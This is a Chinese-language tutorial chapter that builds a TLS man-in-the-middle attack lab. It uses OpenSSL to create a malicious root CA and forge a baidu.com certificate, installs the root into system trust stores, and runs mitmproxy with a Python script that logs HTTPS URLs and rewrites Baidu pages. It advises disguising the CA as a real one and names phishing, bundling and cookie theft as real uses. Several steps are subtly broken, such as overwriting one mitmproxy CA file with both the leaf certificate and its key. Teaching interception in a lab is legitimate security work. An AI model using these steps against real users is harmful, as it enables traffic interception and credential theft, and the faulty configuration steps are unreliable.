4、漏洞复现环境搭建:用 OpenSSL 造一个“假”CA
好,咱们进入实战环节。前面几章讲了证书链的理论漏洞,现在我要带你亲手搭建一个攻击环境。说白了,就是自己当一回“坏人”,看看中间人攻击到底是怎么绕过浏览器信任的。
我个人习惯把环境拆成三块:恶意CA、本地代理、自动化脚本。咱们一块一块来。
4.1 用 OpenSSL 创建恶意 CA
为什么要自己造一个 CA?因为真实的 CA 不会给你签发“百度.com”的证书。但攻击者可以自己建一个根 CA,然后让受害者信任它——这就是中间人攻击的起点。
我在项目中遇到过不少团队,测试环境里也用自签名证书,但根证书的私钥保护得很随意。嗯,这里要提醒你:私钥一旦泄露,整个信任体系就垮了。
操作步骤很简单,就三条命令:
- 生成根 CA 私钥
- 生成根 CA 自签名证书
- 用根 CA 签发目标域名证书
# 1. 生成根 CA 私钥(2048位 RSA)
openssl genrsa -out malicious_root.key 2048
# 2. 生成根 CA 自签名证书(有效期10年)
openssl req -x509 -new -nodes \
-key malicious_root.key \
-sha256 -days 3650 \
-out malicious_root.crt \
-subj "/C=CN/O=Malicious CA/CN=Malicious Root CA"
# 3. 生成目标域名私钥(比如 baidu.com)
openssl genrsa -out baidu.key 2048
# 4. 生成证书签名请求(CSR)
openssl req -new \
-key baidu.key \
-out baidu.csr \
-subj "/C=CN/O=Malicious/CN=baidu.com"
# 5. 用恶意根 CA 签发证书
openssl x509 -req \
-in baidu.csr \
-CA malicious_root.crt \
-CAkey malicious_root.key \
-CAcreateserial \
-out baidu.crt \
-days 365 \
-sha256
-subj 里把组织名写成跟真实 CA 相似的名字,比如 "CN=GlobalSign Root CA"。这样在证书列表里更容易迷惑人。
你看,一个能签发“百度”证书的恶意 CA 就建好了。但光有证书没用,你得让系统信任它。
4.2 安装恶意根证书到信任存储
这一步是关键。攻击者必须让受害者安装 malicious_root.crt。现实中可能是通过钓鱼邮件、软件捆绑或者社会工程学。
咱们在实验环境里手动安装:
| 操作系统 | 安装命令 / 路径 |
|---|---|
| macOS | sudo security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain malicious_root.crt |
| Ubuntu / Debian | sudo cp malicious_root.crt /usr/local/share/ca-certificates/ && sudo update-ca-certificates |
| Windows | 双击 .crt 文件 → 安装到“受信任的根证书颁发机构” |
openssl verify -CAfile malicious_root.crt baidu.crt 看看是不是提示 "OK"。我曾经有一次忘了更新证书库,折腾了半小时才发现。
4.3 配置本地代理进行中间人攻击
证书有了,接下来要拦截流量。我推荐用 mitmproxy,它比 Burp Suite 轻量,而且 Python 脚本扩展非常方便。
安装很简单:
# 用 pip 安装
pip install mitmproxy
# 启动透明代理模式(默认监听 8080 端口)
mitmproxy --mode transparent --listen-port 8080
但光启动还不够,你得让流量走代理。这里分两步:
- 设置系统代理:把 HTTP/HTTPS 代理指向 127.0.0.1:8080
- 安装 mitmproxy 的 CA 证书:访问
http://mitm.it下载并安装
等等——我们不是有自己的恶意 CA 吗?对,这里要替换掉 mitmproxy 默认的证书。
# 找到 mitmproxy 的证书目录(通常在 ~/.mitmproxy/)
# 把我们的 baidu.crt 和 baidu.key 放进去
cp baidu.crt ~/.mitmproxy/mitmproxy-ca.pem
cp baidu.key ~/.mitmproxy/mitmproxy-ca.pem
# 重启 mitmproxy
mitmproxy --mode transparent --listen-port 8080 --set block_global=false
为什么要替换?因为 mitmproxy 默认签发的证书域名是 mitmproxy.com,访问百度时浏览器会报警告。换成我们的恶意 CA 签发的 baidu.com 证书,浏览器就完全信任了。
你想想看,这时候你打开浏览器访问 https://baidu.com,地址栏是不是小绿锁?但实际流量全经过你的代理——这就是中间人攻击。
4.4 Python 脚本自动化攻击流程
手动操作太慢了。真实攻击中,你需要自动化拦截、修改、记录流量。mitmproxy 提供了 Python API,咱们写个脚本。
我写了一个简单的中间人脚本,功能是:
- 记录所有 HTTPS 请求的 URL
- 替换响应中的特定内容(比如植入广告或恶意脚本)
- 保存证书和会话信息
# mitm_attack.py
from mitmproxy import http
import datetime
# 记录请求日志
def request(flow: http.HTTPFlow) -> None:
url = flow.request.pretty_url
method = flow.request.method
timestamp = datetime.datetime.now().isoformat()
# 记录到文件
with open("attack_log.txt", "a") as f:
f.write(f"[{timestamp}] {method} {url}\n")
# 如果是百度首页,打印提示
if "baidu.com" in url:
print(f"[+] 拦截到百度请求: {url}")
# 修改响应内容
def response(flow: http.HTTPFlow) -> None:
if "baidu.com" in flow.request.pretty_url:
# 替换页面标题
if flow.response.content:
content = flow.response.content.decode("utf-8", errors="ignore")
content = content.replace("百度一下", "你已被中间人攻击")
flow.response.content = content.encode("utf-8")
print("[+] 已修改百度首页标题")
运行方式:
mitmproxy -s mitm_attack.py --mode transparent --listen-port 8080
这时候你访问百度,页面标题会变成“你已被中间人攻击”。当然,这只是演示。真实攻击中可能会替换 JavaScript 脚本、窃取 Cookie 或者重定向到钓鱼页面。
--set block_global=false 没加——这个参数允许代理监听来自外部的连接。如果你在本地测试,记得加上。
4.5 整体架构图
下面这张图展示了整个攻击流程的脉络。我建议你对照着图,把每一步在脑子里过一遍。
4.6 验证攻击是否成功
环境搭好了,怎么确认攻击生效?我一般做三个检查:
- 浏览器地址栏:访问
https://baidu.com,看是不是小绿锁。如果是,说明证书链被信任了。 - 代理日志:检查
attack_log.txt,看有没有记录到请求。 - 页面内容:看标题是不是被改成了“你已被中间人攻击”。